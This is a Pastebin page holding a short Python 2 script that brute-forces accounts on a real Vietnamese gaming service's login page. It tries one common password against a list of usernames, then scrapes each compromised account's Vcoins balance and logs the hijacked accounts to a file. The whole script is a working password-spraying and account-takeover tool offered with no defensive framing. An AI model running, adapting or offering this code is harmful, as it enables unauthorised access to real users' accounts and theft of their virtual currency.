Advertisement
parkdream1

Done_v2.py

Aug 18th, 2013
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.51 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2.  
  3. import re
  4. import urllib2
  5. import time
  6. import cookielib
  7. import socket
  8.  
  9. filename = 'account.txt'
  10. passwd = "123456"
  11.  
  12. with open(filename) as f:
  13.     for line in f:
  14.         line = line.replace("\n","")
  15.         print "Brute Force Account : %s" % line
  16.         POSTDATA = "__VIEWSTATE=/wEPDwUJNzIzMjAyMTc5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUScmVtZW1iZXJNZUNoZWNrQm94&__SCROLLPOSITIONX=0&__SCROLLPOSITIONY=0&__EVENTTARGET=&__EVENTARGUMENT=&txtUserName=%s&txtPassword=%s&btnLogin=Đăng Nhập"%(line,passwd)
  17.         #print POSTDATA
  18.         URL = "https://go.vn/accounts/account.login.aspx?sid=660018&ur=http%3a%2f%2fmy.go.vn%3a3043%2fhome.aspx&m=1&continue="
  19.         try:
  20.                         socket.setdefaulttimeout(10)
  21.             cj = cookielib.CookieJar()
  22.             opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  23.             response = opener.open(URL,POSTDATA).read()
  24.             #for cookie in cj:
  25.                 #print cookie
  26.             #open('debug/%s.html'%line, 'wb').write(response)
  27.             result = re.findall(line, response)
  28.             if len(result) >1:
  29.                 URL2 = "http://23dzo.go.vn/"
  30.                 response2 = opener.open(URL2).read()
  31.                 response2 = response2.replace(" ","").replace("\n","").replace("\r","")
  32.                 vicoin = re.findall('<pclass="coins">(.*)Vcoins',response2)
  33.                 #open('debug/%s_1.html'%line, 'wb').write(response2)
  34.                 print "%s : %s Vcoins"%(line,vicoin[0])
  35.                 open('LstAccount.txt', 'a').write(line + " : " + vicoin[0] + " Vcoins" + "\n")
  36.             else:
  37.                 print "Login Account Error"
  38.             time.sleep(3)
  39.         except:
  40.             print str(line) + " Error"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement